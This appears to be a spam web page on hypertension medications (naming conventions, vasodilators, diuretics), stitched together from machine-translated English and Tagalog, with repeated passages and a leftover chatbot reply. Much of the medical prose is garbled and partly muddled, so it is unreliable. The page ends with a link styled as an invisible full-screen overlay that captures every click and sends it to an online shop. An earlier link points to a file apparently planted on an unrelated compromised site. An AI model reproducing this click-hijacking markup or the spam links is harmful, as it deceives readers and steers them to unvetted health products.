# Diseases of the circulatory System of the elderly #
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## The name of the medications for high blood pressure ##
Diuretiko (Diuretika) ay nagpapataas ng pag-ihi ng katawan, na nagreresulta sa pagbaba ng presyon ng dugo. Simpleng paliwanag: Ang tuloy-tuloy na pag-ihi ng katawan ay nagdudulot ng pagbaba ng dami ng plasma sa dugo at sa gayon ay mas kaunting likido sa mga ugat — bumababa ang presyon sa mga pader ng ugat.
The Name of the medication against hypertension: classification and nomenclature
High blood pressure, known medically as hypertension, is a widespread health problem, the long term can lead to serious complications such as heart attack, stroke or kidney damage. For the treatment of this disease, various groups of Drugs are available, their name, and teach the rules to pharmacological, chemical, and international Nomenclature.
1. International not patented name (INN)
The medications names used in the scientific literature and clinical practice, are based on the International Nonproprietary Names (INN), defined by the world health organization (WHO). These names are independent of trademarks and allow for a consistent identification of active substances in the world.
Examples of INN of high blood pressure:
Enalapril (ACE inhibitor)
Amlodipine (Calcium Channel Blocker)
Losartan (AT1 Receptor Antagonist / Sartans)
Metoprolol (Beta Blocker)
Hydrochlorothiazide (Thiazide Diuretic)
2. Classification according to mechanism of action
The names of the active ingredients often reflect their mechanism of action and chemical structure. Typical trunk‑ or ending elements of many different substances, you can link to a specific group:
-pril — characteristic of ACE inhibitors (Angiotensin‑converting enzyme inhibitors) that inhibit the formation of Angiotensin II (e.g., Captopril, Ramipril).
-sartan — features Sartans (AT1 receptor antagonist), which block the action of Angiotensin II (e.g., Valsartan, Irbesartan).
-dipin — typical of some calcium channel blocker of the dihydropyridine class (e.g., nifedipine, Felodipine).
-olol — indicates beta-blockers, which act on the beta receptors (e.g., Propranolol, Bisoprolol).
Thiazide — containing diuretics of this group (for example, chloro thiazide, hydrochlorothiazide).
3. Trademarks vs. active ingredient name
In addition to the INN to be used by pharmaceutical companies to the trademarks, are protected for the market. A drug can be sold under different brand names. Example:
The active ingredient Enalapril is offered under the brand name of Renitec, Enap, and others.
The active ingredient Losartan is known under the name Cozaar Lorista, etc.
This distinction is for Doctors, pharmacists and patients is important to avoid confusion and to ensure the correct dosage and application.
4. Combination preparations
In the treatment of hypertension often combinations of different classes of Drug are used in order to achieve better blood pressure control. Here, too, the names reflect the combination of:
Exforge: combination of amlodipine (calcium channel blocker) and Valsartan (Sartan).
Co‑Diovan: combination of hydrochlorothiazide (a diuretic), and Valsartan.
Summary
The nomenclature of medicines against high blood pressure follows a clear set of international Standards, the INN will serve as the scientific basis. Structural elements in the names often allow a direct mapping to the pharmacological group. The distinction between active ingredient and brand name, as well as the knowledge of combination preparations are key to a safe and effective therapy.
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Minsan lang na biglaang pagtaas ng presyon o bahagyang mataas na resulta ay hindi palaging nangangailangan ng agarang pag-inom ng tableta. Lahat ng rekomendasyon ng mga espesyalista at ang mga magagamit na paraan ng pag-iwas ay mukhang simple lang, pero sa aktwal na buhay, ang maingat na pag-aalaga sa kalusugan ng dugo at sistema ng puso ay nakakaiwas sa biglaan at sobrang hindi kanais-nais na pagtaas ng presyon.
> Ang arteryal na hypertension o hypertension ay isang kondisyon ng patuloy na systolic at diastolic na presyon ng dugo, kung saan ang mga sukatan ay lumalagpas sa 140/90 mmHg. Ang mataas na presyon ay nagpapakita ng mga hindi komportableng sintomas.
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Diuretiko (Diuretika) ay nagpapataas ng pag-ihi ng katawan, na nagreresulta sa pagbaba ng presyon ng dugo. Simpleng paliwanag: Ang tuloy-tuloy na pag-ihi ng katawan ay nagdudulot ng pagbaba ng dami ng plasma sa dugo at sa gayon ay mas kaunting likido sa mga ugat — bumababa ang presyon sa mga pader ng ugat. <a href="http://hyundai-ta.co.il/FCKuploads/3102-to-treat-where-cardiovascular-diseases.xml">http://hyundai-ta.co.il/FCKuploads/3102-to-treat-where-cardiovascular-diseases.xml</a> Cardiovascular diseases in old age: We are here for you!
Early diagnosis and individual treatment for a healthier life.
With increasing age, the risk of diseases of the cardiovascular system increases. High blood pressure, congestive heart failure, artheros clerosis, or heart rhythm disorders can affect the quality of life — but there are ways to tackle these challenges together.
In our practice, your health and for your well-being. Our experienced cardiologists and internists offer you:
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## Vasodilator drugs against increased pressure in hypertension ##
Of course! Here is a scientific Text on the subject in English, as:
Vasodilator drugs for the treatment of high blood pressure (arterial hypertension)
Arterial hypertension, also called high blood pressure is known, is one of the most common cardiovascular disease and is regarded as a major risk factor for heart attacks, strokes and kidney disease. An important group of drugs for lowering blood pressure are vasodilators substances that dilate the blood vessels and the peripheral vascular resistance reduce.
Mechanism of action of vasodilators
Vasodilators act directly on the smooth muscles of the blood vessel wall. Their effect is based on different molecular mechanisms:
Activation of potassium channels, resulting in hyperpolarization of the cell membrane;
Inhibition of Calcium entry into the smooth muscle cells;
The increase of cyclic Guanosine monophosphate (cGMP), which promotes the Relaxation of the vascular smooth muscle.
Through these processes, the peripheral vascular resistance, which leads to a decrease in the systolic and diastolic blood pressure decrease.
The main groups of vasodilators
Among the most important vasodilators in the treatment of arterial hypertension:
Hydralazine — acts primarily on the arteries, and reduced systemic vascular resistance. It is often prescribed in combination with diuretics and beta-blockers, to counter-regulatory mechanisms (e.g., tachycardia, or fluid retention periods).
Minoxidil, a potent Vasodilator with a preferential effect on the arterioles. Due to its potential side effects (e.g., hirsutism), it is usually only used in the case of difficult-to-treat hypertension.
Nitrates (e.g., Nitroglycerin) — free nitric oxide (NO), which stimulates the production of cGMP, and the vascular relaxation more. They are mainly used in the case of combined Occurrence of hypertension and coronary heart disease.
Calcium channel blockers (e.g. amlodipine), although they are a separate class of drugs, they show strong vasodilating properties due to inhibition of the Calcium flow in the smooth muscle cells.
Clinical application and assessment
Vasodilators play in the modern hypertension therapy is a minor, but important role. Their use is especially in the case of:
heavy adjustable hypertension;
Patients with renal insufficiency;
in special combined regimens
recommended.
Despite their effectiveness, possible side effects must be weighed carefully:
orthostatic hypotension;
Reflex tachycardia;
Edema formation;
Headache (due to cerebral vasodilation).
Conclusion
Vasodilators are a valuable Option in the treatment of high blood pressure, particularly in patients who do not respond to standard therapies sufficient. The individual Benefit-risk assessment, as well as the possible combination with other anti-hypertensive substances allow for the effective and safe reduction of blood pressure. Further research on the optimization of drug combinations, and to minimize side effects, however, are required.
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## Diuretics for high blood pressure ##
Diuretics for hypertension: An important tool in the therapy
High blood pressure, known medically as hypertension, is a serious health problem that millions of people worldwide concerns. Without adequate treatment, it can lead to serious consequences — to seizures, among other things, heart attacks, strokes, damage, and kidney. One of the cornerstones of therapy in hypertension: diuretics are, as a Diuretic known.
How do diuretics?
Diuretics act by promoting the excretion of salt and water by the kidney. As a result, the volume of blood in the body, and thus the blood pressure is reduced. This mechanism makes it an effective agent for the treatment of hypertension, especially in patients with increased fluid content in the tissue (Edema).
There are different types of diuretics used in the treatment of hypertension for use:
Thiazides (eg, hydrochlorothiazide): they are considered to be the first choice for long-term therapy of hypertension and show a good efficacy at relatively low side effects.
Loop diuretics (e.g., furosemide): they are more effective and are used especially in patients with impaired renal function or heart failure.
Potassium-saving diuretics (e.g., spironolactone): your advantage is that you minimize the potassium loss that can occur with other diuretics groups.
Advantages of the application
The biggest advantages of diuretics is their many years of experience in clinical application. Studies have shown that the use of thiazide diuretics may reduce the risk of cardiovascular disease significantly. In addition, these drugs are cost-effective and often in combination preparations available, which simplifies the intake for the patient.
Possible side effects and precautions
Despite the effectiveness of diuretics can cause side effects. These include:
Electrolyte imbalances (especially potassium and magnesium deficiency),
increased blood sugar levels,
increased uric acid levels (with the risk of gout),
Feeling of thirst and dehydration in the event of excessive Liquid discharge.
Therefore, it is important that patients are monitored under diuretic therapy requires regular medical. Blood values (in particular, electrolytes, and kidney values) should be checked at specified intervals.
Conclusion
Diuretics play a Central role in the treatment of high blood pressure. They are effective, cost-effective and have been proven in decades of application. However, their intake should always be done under medical supervision in order to minimize possible risks and to achieve the best effect. The individual adjustment of dose, and the choice of the preparation is crucial for the success of the therapy.
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<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">Diseases of the circulatory System of the elderly</a>